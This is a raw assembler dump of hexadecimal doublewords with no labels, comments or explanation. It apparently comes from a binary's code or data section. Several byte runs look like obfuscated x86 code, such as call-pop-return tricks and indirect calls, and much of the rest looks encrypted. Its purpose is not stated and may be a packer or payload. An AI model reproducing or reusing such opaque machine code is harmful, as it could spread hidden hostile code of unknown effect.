		dd 6062A7Dh, 1185C761h,	0D8060611h, 6A000063h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0F488C351h, 0DE1B4A0h, 3168015Eh, 613CDBDh, 4985C706h
		dd 6062Eh, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0E085C355h, 30D58501h,	0B5FF0606h
		dd 606217Dh, 1C018D89h,	5E90606h, 31000000h, 17492BD5h
		dd 79195FFh, 11E90606h,	0FD000000h, 56568778h, 61552E97h
		dd 0B73BD212h, 0BC0343B1h, 95FF006Ah, 6061AC9h,	6DEBC08Bh
		dd 1A80FF80h, 89044468h, 0F7F046B3h, 1A0DE5B5h,	32FB29B3h
		dd 0D29D2C68h, 619ADCCh, 690B21E7h, 0E2DA4C7Bh,	0A05237EDh
		dd 0E4A0C4A2h, 8D40D9B2h, 38B4E9F8h, 7C5BF51Dh,	0FA2F2A87h
		dd 4019BFF7h, 0B06591CDh, 0C02E28B5h, 0B5ED281Ah, 5B676743h
		dd 8EAA7786h, 0B1EFC155h, 895680EBh, 1638278Dh,	615AEACAh
		dd 7C5033E9h, 0C816B62Ah, 8EB77h, 0E6000000h, 0E9549253h
		dd 416h, 0CBDF968h, 0C073E906h,	5868FFF9h, 0E9060CBEh
		dd 0FFF9C069h, 0CBF6968h, 0C05FE906h, 0C7DFFF9h, 6A1D3B9Dh
		dd 0CABBD93Bh, 295B79DBh, 88FA187Ah, 31BEB91Bh,	0DE40631Fh
		dd 79DBC8C0h, 1B7D285Bh, 0B81A89FDh, 10ADE263h,	0E433D139h
		dd 0E89A0ACEh, 0E4192ABBh, 2DC47BD9h, 1F0D4E61h, 0DE3B56D4h
		dd 0FC8B577Dh, 577D265Ch, 5DEEBDC9h, 7CDAC9BDh,	0CD27F71Dh
		dd 0AADF70B0h, 2BC2727Eh, 26B51374h, 49A7FC86h,	20A1C4EAh
		dd 7933CA92h, 2CC4495Dh, 3BAEF38Bh, 27Eh, 898FAC77h, 90176D74h
		dd 17699E2Fh, 5D2BC27Bh, 0F32548FCh, 0ADD6A71Eh, 0D331780Dh
		dd 6F844E74h, 74859627h, 27E37E3Fh, 0E70D6E29h,	25B0F0C4h
		dd 7A0EAE27h, 2D8B186Eh, 7C476DCEh, 8E2EBD1Bh, 0BA84AAF9h
		dd 97CC5DA5h, 292797F5h, 650596F7h, 2208221h, 0CCF22784h
		dd 9388A994h, 26A9737h,	0E8A10000h, 3E4967C9h, 96EF0D6Fh
		dd 0F58FAD0Fh, 542E4CAEh, 5F2ED4Fh, 12742F53h, 0B51794F4h
		dd 57B9EC97h, 0FC5E4D39h, 0CCF126A7h, 2033D138h, 15E460Ah
		dd 543B7001h, 402BC8C8h, 0D4AE4EDFh, 334F6DCFh,	335F1270h
		dd 66D84841h, 0E844CD20h, 0E5DA3EF9h, 1FBB4F84h, 2C888A19h
		dd 20B8Ch, 68474200h, 49FE806h,	0A20184A2h, 45622240h
		dd 0E6BDC5E3h, 0EAFC8984h, 8BA90B98h, 2E4CAEFDh, 0CEEC4E55h
		dd 3489EBB8h, 3A3F7EB3h, 9FB533D1h, 1015EDBh, 0C8543B70h
		dd 0FB0C2BC8h, 0D137F7C6h, 59E6FD33h, 93920E83h, 29F41A7Bh
		dd 0AB76AC8h, 8F33D11Fh, 16DA3373h, 51AEFA1Ch, 15Eh, 0DD92298Dh
		dd 59FD9263h, 12740228h, 691D3B99h, 617ED83Ah, 155B9021h
		dd 3F2BC2AEh, 0F4CD80DEh, 0A533CACDh, 0F01D89h,	67AEF3CBh
		dd 20h,	1015EA3h, 80113B70h, 0A2032BC2h, 80309144h, 4D6933CAh
		dd 793CB459h, 0B02BAEF3h, 67000000h, 0ACFB8929h, 0A359A295h
		dd 0E3096912h, 14723155h, 0B9178CF6h, 62C0EB9Bh, 7694244h
		dd 0C4CE1F54h, 181212Dh, 0BFE544A2h, 68A05531h,	0C9D20345h
		dd 0EC46A809h, 0C9FE8F97h, 2BCD82BAh, 0ABBC4DAEh, 315B3E14h
		dd 3F4091CFh, 8965B0ECh, 77052B8Ch, 1836980Bh, 7A04396Ah
		dd 257E0459h, 0FA29C9h,	58310000h, 0AED9F759h, 67F9DFFh
		dd 651F3D9Fh, 0C4BEDC3Eh, 0F5827DDFh, 0A2049FE3h, 45A70484h
		dd 0E7495C27h, 8CEEBDC9h, 3C81B637h, 0B033D13Bh, 8929D69Ah
		dd 0F987ADFCh, 8B5EA89h, 0EC2DC47Ch, 3FBC8ED5h,	1273C82Ch
		dd 55314FB1h, 9AA0F456h, 0D261BFECh, 0A25F313Bh, 89AF1866h
		dd 0BE208BFBh, 76070F64h, 0C2512E41h, 30C1222Bh, 4C81F290h
		dd 33CAD171h, 82E0C3C0h, 465C623h, 0D0D2EFA2h, 275F33CAh
		dd 0F48B1A7Ch, 0D06A31F9h, 0B2F1967Ah, 6E94F554h, 9CD1A2E0h
		dd 33CAB721h, 0B31172D3h, 5713h, 20640400h, 81E2C1C4h
		dd 15E975Bh, 503B7001h,	442BC8C8h, 5FF685E3h, 1C9AB8C1h
		dd 55E3095Dh, 0D4CFB331h, 93F31173h, 5E07BA18h,	0EA856707h
		dd 0EF976A3Ch, 523452B4h, 0A7DDFB59h, 4977A200h, 0C9E2A45Dh
		dd 4B38D867h, 759BFA58h, 0A6049FE7h, 306h, 65A3200h, 62C0EF9Ah
		dd 0B694244h, 0B10F96EDh, 58B6F593h, 0FD5B483Ah, 0A200A3DFh
		dd 45A30084h, 0E9475E27h, 93F1BCCBh, 3BE9681Bh,	2C890000h
		dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 81E68956h, 4C6h
		dd 4EE8100h, 87000000h,	895C2434h, 1682404h, 8900003Ch
		dd 0F568243Ch, 89000013h, 4E68242Ch, 5D5C0C7Ah,	42CFC581h
		dd 0E889AA00h, 3C8B545Dh, 4C48124h, 53000000h, 8F53C389h
		dd 8B5B0847h, 8956243Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 2434FF5Ch, 4C48158h,	0E9000000h, 0FFF9BC71h,	29176EA1h
		dd 0DD507A17h, 88B8A587h, 3060CC0h, 4AE0FFC5h, 6C4BCF81h
		dd 6F53DFBBh, 857C2892h, 5A5128A3h, 520267F2h, 0C565A655h
		dd 0A84CBE2Ah, 0D037F0C0h, 4A26BDE1h, 764D1BE3h, 0E86645A1h
		dd 8, 312039C0h, 95C1BB05h, 61606060h, 6FF18161h, 61111273h
		dd 83CE805Eh, 6836C681h, 33F90000h, 0FAB70FC0h,	0F3034FFh
		dd 158Ah, 10E900h, 0FB160000h, 814A2D81h, 0AD48E5EEh, 0B6C30FFDh
		dd 6659DF3Dh, 392BF781h, 26C1E981h, 5A567540h, 0FA26C181h
		dd 8E0F5DE3h, 1, 6BF181FCh, 8164C580h, 0BC6DEDFh, 60C8905h
		dd 3870FF5h, 0F000000h,	0E881D2BFh, 120460D2h, 60CEC081h
		dd 0FE81204h, 3A000000h, 39A0CF9Eh, 1085AD40h, 4FDA1357h
		dd 0FB8B1F7Eh, 0A0F8815Fh, 0FFFFF98h, 1B85h, 0B890F00h
		dd 0F000000h, 584h, 14A0BB00h, 1FE930DEh, 6B000000h, 0D5F6F2C3h
		dd 0E9FE8B66h, 0FFFFFF5Ch, 9B33DA9Fh, 25CD8C6Bh, 0F9E4BDDBh
		dd 0BC9CEE46h, 5E8A25Eh, 0E4000000h, 9254F862h,	0FE9h
		dd 7C9AFF00h, 7FB40654h, 2F0C3787h
		dd 687C2E4Ch, 81C78A59h, 6F8BC1h, 0BB666000h, 0BB61E543h
		dd 70F388B9h, 9301F381h, 8A0F70F3h, 15h, 0F3BF0F60h, 0BE9h
		dd 531B7100h, 0B6DD39B7h, 2E1F48A7h, 6631FF61h,	5F1E5DB8h
		dd 81C38B66h, 2AC9C9C7h, 81C18B4Ah, 7D7682C7h, 0F18A5152h
		dd 0DFF78158h, 0E84B2CA0h, 11h,	0F345E1FCh, 0FA05B63Bh
		dd 3CA06C15h, 5C2DABB3h, 5EDDB202h, 0BF0F3989h,	2E983C3h
		dd 4949E78Ah, 0EE9h, 788B1B00h,	685C3395h, 0D2FF42A6h
		dd 4BB64D66h, 0FF9F850Fh, 5E8FFFFh, 85000000h, 4A7FC1C5h
		dd 0AE8h, 6BE7E000h, 87C4E18h, 0E98EEDA3h, 12h,	16666D02h
		dd 0D833D1B8h, 0FE31EB50h, 2BB3BC5Fh, 5F5BEB1Fh, 0BE8h
		dd 418FB400h, 0F3C37A50h, 0C335A7D9h, 85C7815Eh, 8B000070h
		dd 0E9BDBACFh, 0F2815C44h, 5C44F249h, 3D94C381h, 37FF7368h
		dd 5BC88B52h, 0E1816658h, 0C08169A5h, 39D42C6h,	4458F3BEh
		dd 9DC08178h, 813B4D56h, 0BA8474E8h, 0F3BF0F59h, 8FACB750h
		dd 0F08B6607h, 5204EF83h, 0CF816660h, 5961B1EDh, 1EA81h
		dd 850F0000h, 0Bh, 17E9h, 49C8C800h, 66DACA66h,	0E9371CB9h
		dd 0FFFFFFA6h, 0EFFE41F5h, 6E86D014h, 11E8h, 84224900h
		dd 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0E9589F73h,	7, 0E19ED492h
		dd 8118B8D7h, 75A2C0h, 0BADE8B00h, 0
		dd 84BC781h, 0C8B2049h,	6800F10h, 81000000h, 83A5C0EBh
		dd 0A0E98124h, 0F681CB8h, 84h, 4FF18100h, 0BB6F1C56h, 0F245884h
		dd 0A264F181h, 0BF666A5Bh, 0E951D1B5h, 5, 1EC87784h, 10048F7Fh
		dd 0E2E38166h, 0F08B663Fh, 4A02EA83h, 63CB814Ah, 81462DFEh
		dd 0FF8B24FAh, 0F850FFFh, 0F000000h, 34E9FFBFh,	0BF000000h
		dd 0F9B5030Ah, 6E8BA95h, 6E000000h, 7E800327h, 0AE94Ah
		dd 86140000h, 6430B0BAh, 7EBE8750h, 0FF74E95Eh,	0A3B8FFFFh
		dd 0F49F975Dh, 14DBB6F9h, 8BA10E7Ch, 0D1BD83C0h, 60630h
		dd 0BD830975h, 60604B5h, 50197400h, 0B8C08B53h,	421h, 2C518589h
		dd 9D8D0606h, 608B261h,	585BD3FFh, 4B5BD83h, 74000606h
		dd 0B8535017h, 421h, 2C518589h,	9D8D0606h, 608AF50h, 585BD3FFh
		dd 9D8BC08Bh, 6062CA1h,	1C185C6h, 68560606h, 9CA8B852h
		dd 1BDDB5FFh, 858D0606h, 6097A7Ch, 46AD0FFh, 100068h, 0C9B5FF00h
		dd 6A060628h, 85D0FF00h, 0D850FC0h, 0B8000000h,	0
		dd 71788D8Dh, 0E1FF0606h, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 4DBD83D3h, 6062Bh, 0E840Fh, 9D8B0000h, 6062B4Dh, 0FED858Bh
		dd 3890606h, 858D5251h,	6064335h, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 1C185C6h, 68560606h, 0D41F6D39h,	1BDDB5FFh
		dd 858D0606h, 6097A7Ch,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 60630D1h, 83097500h, 604B5BDh, 19740006h
		dd 0C08B5350h, 421B8h, 0B9858900h, 8D060620h, 8B2C89Dh
		dd 5BD3FF06h, 0B5BD8358h, 60604h, 53501774h, 421B8h, 0B9858900h
		dd 8D060620h, 8AF699Dh,	5BD3FF06h, 8DC08B58h, 62B4D9Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 8D00004Bh, 0CC68F8Dh, 5BD8906h, 8906061Eh, 628DD8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F39B5B8Ah, 0C75DA7B1h, 6111185h, 62B806h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 85C7BB6Eh, 6062E49h, 0
		dd 63BB6653h, 0B5FF5B91h, 606229Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0FFC35343h,	9195FFE9h, 6A060607h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0B681C352h, 89483733h, 61C8DB5h, 0FF006A06h
		dd 61AC995h, 0EBC08B06h, 0C0FCAD4Eh, 0EE53A458h, 0AF283C87h
		dd 0CB8056B9h, 0BB4E91D4h, 0F810A070h, 205A4312h, 3624B688h
		dd 2CBD5309h, 0E045FCA0h, 8BBDC007h, 4053568Ah,	9B64C947h
		dd 5D1A2F4Ah, 3CB2D88h,	987063C4h, 0C84E4C4Fh, 0F0BCAE1Fh
		dd 0B5920DEDh, 0FE910D92h, 0AAE7BCAh, 4E26F8A8h, 0AAF468Ah
		dd 0EAD5ABA8h, 0AAF1E75h, 4E27E6A8h, 0AE5DBA8Ah, 4E245357h
		dd 0AAC0E8Ah, 0EAD5ABA8h, 0AACD175h, 4E2481A8h,	0AAD538Ah
		dd 4E2503A8h, 0AADD58Ah, 0EAD5ABA8h, 0D42F2575h, 13269CA5h
		dd 9746C003h, 90A752A4h, 57AE8DF1h, 0D3C2D121h,	0D42F4386h
		dd 13269C7Ah, 974EC003h, 90A752A4h, 57AE8CA0h, 0D3DED121h
		dd 0D42F4386h, 13269D29h, 975AC003h, 90A752A4h,	57AE8C5Ch
		dd 0D22AD121h, 0D42F4386h, 13269EB2h, 96A6C003h, 90A752A4h
		dd 57AE8FE9h, 0D226D121h, 0D42F4386h, 13269E0Ch, 96B2C003h
		dd 90A752A4h, 57AE8F6Fh, 0D23ED121h, 0D42F4386h, 13269F8Eh
		dd 96BAC003h, 90A752A4h, 57AE8ED5h, 0D236D121h,	0B8C34386h
		dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0D2C0D5F2h
		dd 96A4494Dh, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
		dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 1304253Ah
		dd 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h,	0DAC3B9CFh
		dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
		dd 13269A84h, 1129475h,	39A0D902h, 0AEA44944h, 51A1EC79h
		dd 0DC0941AEh, 19E47822h, 3773BA8Ch, 732ADF10h,	7D28C821h
		dd 0EA2C5866h, 152BFD5Bh, 9881508Ch, 5D6C6900h,	0A5FBABAEh
		dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 92C0D5F2h, 0DAA44942h, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 7430BACCh, 9E2C52BEh,	0FC69CE52h
		dd 0A5B99783h, 0FA31EFE2h, 39A0D9F9h, 0AEA44944h, 949A0D79h
		dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 0DDF4BE29h
		dd 24294386h, 1957DFA0h, 515E004Dh, 532A54A8h, 4787D775h
		dd 0CDA152AEh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 39A0D9F9h
		dd 0AEA44944h, 949A0D79h, 651A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh,	919197B9h
		dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h
		dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h,	37AA8E4Bh
		dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h
		dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh,	0C20E458Ah
		dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h
		dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah,	0E0A2458Ah
		dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 19E47822h
		dd 0E173BA8Ch, 9FA7FEF8h, 57AE8BA6h, 0D6A08557h, 5DDF6E20h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh,	7FD3D775h
		dd 452652AEh, 7D28C820h, 0EA2C5866h, 0FB2BF55Bh, 3186949Bh
		dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh,	0E96F93A4h
		dd 51A2458Ah, 87D5FE04h, 57A453AFh, 17868C23h, 0DB2FEF49h
		dd 13269A84h, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h
		dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh,	0DAAA3001h
		dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 57B46018h,	0B9E2DFAEh
		dd 0DC088558h, 19E47832h, 3771BA8Ch, 73E39410h,	0FB63CF21h
		dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 4787D775h
		dd 0DDA152AEh, 0FB637726h, 0DB06CE25h, 825D4386h, 0E4AAECCEh
		dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h,	4A24D48h
		dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh,	732A54A8h
		dd 376B7732h, 39B0D903h, 0AEA44944h, 9592327Bh,	0FD09234Bh
		dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh
		dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh
		dd 8FA7FFCEh, 57AE8BA6h, 0A09A8757h, 0FB0E0320h, 0DB06CE25h
		dd 825D4386h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0BAC0D5F2h
		dd 96A44941h, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
		dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
		dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
		dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 0D3CECE25h
		dd 0DCF14386h, 19EDEF32h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah
		dd 60D558DDh, 0A538C882h, 462C586Eh, 9619DF07h,	0C6D552A4h
		dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57AE828Ah
		dd 0AEB0D9FBh, 0AEA4494Dh, 0E96FDD7Bh, 51A25863h, 195FABA8h
		dd 0DCAA3075h, 19ED5832h, 0CB2F168Ch, 13269313h, 142B9675h
		dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 55000030h
		dd 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 0DFACFD49h, 0F102FD21h
		dd 0E643FD21h, 6BA1FD21h, 0AE93FD21h, 4C89FD21h, 3C56FD21h
		dd 8437FD21h, 0D822FD21h, 0F169FD21h, 0E626FD21h, 6D9BFD21h
		dd 0AFE4FD21h, 4DC5FD21h, 3CA6FD21h, 8262FD21h,	0DFB6FD21h
		dd 259DFD21h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h,	5A5CF44Bh
		dd 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh
		dd 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 2C76FD7Ah,	0A475A7DCh
		dd 0CB75A7DCh, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h
		dd 0CCF0701Ah, 0A673F1AAh, 9BB934FFh, 63F0707Ch, 6C73F1AAh
		dd 0FEB974FFh, 9FF0707Ch, 3573F1AAh, 52B938FFh,	69F0707Ch
		dd 1E73F1AAh, 0C7B970FFh, 0E0F0707Ch, 7B73F1AAh, 75B96CFFh
		dd 1FF0707Ch, 0D773F1B4h, 23B968FFh, 22F0707Ch,	4273F1B4h
		dd 0E9B964FFh, 39F0707Ch, 0F073F1B4h, 0B0B960FFh, 78F0707Ch
		dd 0A673F1B5h, 9BB954FFh, 39F0707Ch, 6C73F1B4h,	0FEB95CFFh
		dd 68F0707Ch, 3573F1B5h, 52B958FFh, 9F0707Ch, 1E73F1B5h
		dd 0C7B954FFh, 85F0707Ch, 7B73F1B5h, 75B944FFh,	0C3F0707Ch
		dd 0D773F1B5h, 23B940FFh, 35F0707Ch, 4273F1B5h,	0E9B93CFFh
		dd 19F0707Ch, 0F073F1B5h, 0B0B950FFh, 7CF0707Ch, 0A673F1AAh
		dd 9BB94CFFh, 76F0707Ch, 6C73F1AAh, 0FEB948FFh,	5CF0767Ch
		dd 3573FB6Ch, 52B8FFFFh, 5EF0767Ch, 1E73FB54h, 0C7B8FBFFh
		dd 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 726317FBh, 0D525FB76h
		dd 0ADFDF53Fh, 9179307Bh, 0CFB73422h, 0B723AC7Ah, 1A20AD29h
		dd 7975FD7Ah, 8B987C27h, 0A073F1B4h, 23B975FFh,	1FC87D7Ch
		dd 0CF73F1B6h, 0E4C5B409h, 0F9B54B75h, 863589BAh, 0B0B8FBEFh
		dd 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD79307Ch, 29FC48F7h
		dd 0C6F8FB76h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah
		dd 9179307Ch, 7FC48F7h,	0D1F8FB76h, 228A50FCh, 87BC1F23h
		dd 0B0B975F7h, 52DA07Ch, 0EC2CA320h, 97776D92h,	0C1CD4D7Ah
		dd 708A5779h, 0F4793078h, 79D3ED1h, 0DA75FD78h,	54CD9BC2h
		dd 0D0DE9B59h, 9BB8FFEFh, 8DE9B7Ch, 0E5779592h,	0F3360B7Ah
		dd 866E8872h, 0B0B8FFEFh, 54C54D7Ch, 0BA8AAD79h, 91793078h
		dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h
		dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh
		dd 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh
		dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh
		dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h
		dd 0B5FF4DBAh, 3F776885h, 1F2FFB76h, 0DA51FD5Fh, 0F5133F71h
		dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h,	0F22D157Ah
		dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh
		dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch
		dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah,	0E575FCF3h
		dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
		dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah,	75B8FBEFh
		dd 71C0707Ch, 5D73F1B6h, 2C7F518Ah, 95E002D0h, 873F1B7h
		dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
		dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h,	0FDCD9B85h
		dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h,	3C225792h
		dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh,	438A008Bh
		dd 5E750592h, 252D4D7Ah, 69B65779h, 0C7B982FFh,	9AC87D7Ch
		dd 0F373F1B6h, 0FCF8EC0Fh, 0BA79318Bh, 5C61152Ah, 1B9DFD7Ah
		dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh
		dd 0B0B982F7h, 21C87D7Ch, 2F73F1B6h, 12F8F10Fh,	0CD79318Bh
		dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 71736885h,	0C3F8FB76h
		dd 29792C34h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah
		dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 29793078h, 96514ACEh
		dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah,	0E675FD7Ah
		dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 0C7B8FFEFh, 0EA917D7Ch
		dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h,	0ACB7D6BDh
		dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F479307Ch, 0B59060F7h
		dd 0A0F8FB76h, 4ECD3E39h, 0D075FD7Ah, 9BB8FBEFh, 0CEB57E7Ch
		dd 1A8935F1h, 0FEB8FFEFh, 8E97577Ch, 43BE15B9h,	1DFF0285h
		dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h,	0A7890883h
		dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 0FE2B17FBh, 0EAFCFB76h
		dd 0CACF7D86h, 0E573F1B7h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah
		dd 52B8FBE8h, 0ADFCBD7Ch, 91793070h, 79F835F1h,	0E3792F48h
		dd 3F776F85h, 7FFDFB76h, 4801F3Ch, 5E75FD6Dh, 0E27F7F79h
		dd 1A35FB76h, 0C7A7DBE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h
		dd 717F7779h, 0ECF8FB76h, 29792F6Eh, 2F2B5989h,	0CB75FD72h
		dd 28736F85h, 0AF6FB76h, 7185897Eh, 0BC72447Ch,	5A7DFD7Ah
		dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h
		dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h
		dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah
		dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh,	7867C92Ch
		dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah
		dd 162FFD7Ah, 0C7A7B890h, 0EBCF707Ch, 7973F1B7h, 71CCF50Fh
		dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 9BB8F3E7h,	0D3497D7Ch
		dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah
		dd 0FD0B17FBh, 25F8FB76h, 0CD793074h, 5C7D80F1h, 0F275FD72h
		dd 0B0145989h, 0DC75F9B8h, 937B40F7h, 0EF46FB76h, 9775F5C3h
		dd 0AADF0E7Ah, 58F89DB9h, 0F4793074h, 7874C2FBh, 0B000FC7Bh
		dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h,	287B40F7h
		dd 0F3CDFB76h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h
		dd 5A6E78F7h, 0D08AFB76h, 0FE8CA8Bh, 0A6000000h, 0F0B2C51Ch
		dd 1BB87043h, 0F4451808h, 8B5AE42Fh, 10C281C6h,	0BE000074h
		dd 10983479h, 850FDB2Bh, 3, 0FFCFBF0Fh,	890F1334h, 2, 665FC78Bh
		dd 0C781F78Bh, 47B5AD83h, 0EE9h, 0D49AE700h, 33B05346h
		dd 0B02BB609h, 81AB695Bh, 7233D1EFh, 78B9660Ch,	0E4C7811Fh
		dd 0F4099E8h, 586h, 0C0816600h,	0B857702Ch, 0BE181Bh, 0F1A048Fh
		dd 58Ch, 0D1805300h, 830F5937h,	1Fh, 19890Fh, 13E80000h
		dd 0B0000000h, 14447824h, 4640CC97h, 16528537h,	8B310E8Ch
		dd 815970AEh, 7BD129EBh, 0E8F86017h, 14h, 5B0E96E6h, 0B138289Fh
		dd 728ADFFEh, 92B23FE8h, 92685834h, 0BB03C8B8h,	81615B77h
		dd 7BD125C3h, 0C9816617h, 0FB81A955h, 0FFFF8CE8h, 0FF45850Fh
		dd 14E9FFFFh, 9000000h,	2A25527Ah, 0A72330C5h, 29CCAEAFh
		dd 8A6472CEh, 8D08E1C9h, 617859Dh, 1434B806h, 85890000h
		dd 6060341h, 0E8h, 0D055800h, 89000000h, 1434E903h, 50Dh dup(0)
		dd 16EB0000h, 5	dup(0)
		dd 3700101h, 60C0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0FCC35242h, 2307493Bh, 6690CF8Bh, 0B550D38Bh
		dd 0D98B9004h, 8589006Ah, 60628A9h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 48BB7C3h
